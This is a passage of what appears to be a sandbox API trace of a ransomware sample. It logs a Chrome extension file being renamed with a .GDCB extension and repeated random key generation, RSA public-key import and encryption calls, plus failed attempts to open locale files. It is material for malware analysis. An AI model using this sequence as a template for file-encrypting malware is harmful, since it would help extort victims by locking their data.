data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\manifest.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\manifest.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\manifest.json.gdcb")) returned 1 [0237.311] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0237.314] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0237.315] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0237.315] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0237.315] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0237.315] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0237.317] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0237.319] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0237.319] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0237.319] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0237.319] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0237.321] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659e478) returned 1 [0237.321] CryptGetKeyParam (in: hKey=0x659e478, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0237.321] CryptEncrypt (in: hKey=0x659e478, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9300000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x9300000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0237.322] GetLastError () returned 0x0 [0237.322] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0237.322] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0237.324] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659e738) returned 1 [0237.324] CryptGetKeyParam (in: hKey=0x659e738, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0237.324] CryptEncrypt (in: hKey=0x659e738, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9310000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x9310000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0237.324] GetLastError () returned 0x0 [0237.324] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.324] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ar\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ar\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0237.325] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0237.328] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0237.330] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0237.330] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0237.330] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.330] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0237.332] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0237.334] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0237.334] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0237.334] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.334] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0237.337] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659e138) returned 1 [0237.337] CryptGetKeyParam (in: hKey=0x659e138, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0237.337] CryptEncrypt (in: hKey=0x659e138, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9320000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x9320000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0237.337] GetLastError () returned 0x0 [0237.337] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.337] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0237.340] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659e1b8) returned 1 [0237.340] CryptGetKeyParam (in: hKey=0x659e1b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0237.340] CryptEncrypt (in: hKey=0x659e1b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9330000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x9330000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0237.340] GetLastError () returned 0x0 [0237.340] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0237.340] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\bg\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\bg\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0237.341] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0237.344] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0237.345] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0237.345] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0237.345] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.346] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0237.348] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0237.349] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0237.350] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0237.350] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0237.350] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0237.353] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659e1f8) returned 1 [0237.353] CryptGetKeyParam (in: hKey=0x659e1f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0237.353] CryptEncrypt (in: hKey=0x659e1f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9340000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x9340000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0237.353] GetLastError () returned 0x0 [0237.353] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.353] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0237.355] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659e2f8) returned 1 [0237.355] CryptGetKeyParam (in: hKey=0x659e2f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0237.355] CryptEncrypt (in: hKey=0x659e2f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9350000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x9350000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0237.355] GetLastError () returned 0x0 [0237.355] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0237.355] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ca\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ca\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0237.363] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0237.366] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0237.368] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0237.368] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0237.368] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0237.368] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0237.371] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0237.373] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0237.373] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0237.373] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0237.373] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0237.376] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659e6b8) returned 1 [0237.376] CryptGetKeyParam (in: hKey=0x659e6b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0237.376] CryptEncrypt (in: hKey=0x659e6b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9360000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x9360000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0237.376] GetLastError () returned 0x0 [0237.376] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0237.376] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0237.378] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659e238) returned 1 [0237.378] CryptGetKeyParam (in: hKey=0x659e238, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0237.378] CryptEncrypt (in: hKey=0x659e238, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9370000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x9370000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0237.379] GetLastError () returned 0x0 [0237.379] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.379] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\cs\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\cs\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0237.379] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0237.382] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0237.384] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0237.384] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0237.384] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0237.384] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0237.387] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0237.388] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0237.388] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0237.388] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.389] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0237.391] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659e6f8) returned 1 [0237.391] CryptGetKeyParam (in: hKey=0x659e6f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0237.391] CryptEncrypt (in: hKey=0x659e6f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9380000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x9380000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0237.391] GetLastError () returned 0x0 [0237.391] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0237.391] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0237.393] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659e778) returned 1 [0237.393] CryptGetKeyParam (in: hKey=0x659e778, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0237.393] CryptEncrypt (in: hKey=0x659e778, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9390000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x9390000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0237.394] GetLastError () returned 0x0 [0237.394] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0237.394] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\da\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\da\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0237.395] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0237.398] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0237.400] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0237.401] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0237.401] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.401] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0237.403] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0237.405] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0237.405] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0237.405] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.406] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0237.408] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659e4f8) returned 1 [0237.408] CryptGetKeyParam (in: hKey=0x659e4f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0237.408] CryptEncrypt (in: hKey=0x659e4f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x93a0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x93a0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0237.409] GetLastError () returned 0x0 [0237.409] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0237.409] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0237.411] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659e178) returned 1 [0237.411] CryptGetKeyParam (in: hKey=0x659e178, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0237.411] CryptEncrypt (in: hKey=0x659e178, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x93b0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x93b0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0237.411] GetLastError () returned 0x0 [0237.411] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.411] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\de\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\de\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0237.412] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0237.415] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0237.416] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0237.416] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0237.416] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.417] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0237.418] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0237.420] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0237.420] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0237.420] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0237.420] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0237.423] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659e3b8) returned 1 [0237.423] CryptGetKeyParam (in: hKey=0x659e3b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0237.423] CryptEncrypt (in: hKey=0x659e3b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x93c0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x93c0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0237.423] GetLastError () returned 0x0 [0237.423] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0237.423] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0237.425] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659e638) returned 1 [0237.425] CryptGetKeyParam (in: hKey=0x659e638, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0237.425] CryptEncrypt (in: hKey=0x659e638, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x93d0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x93d0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0237.425] GetLastError () returned 0x0 [0237.425] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0237.425] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\el\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\el\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0237.426] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, 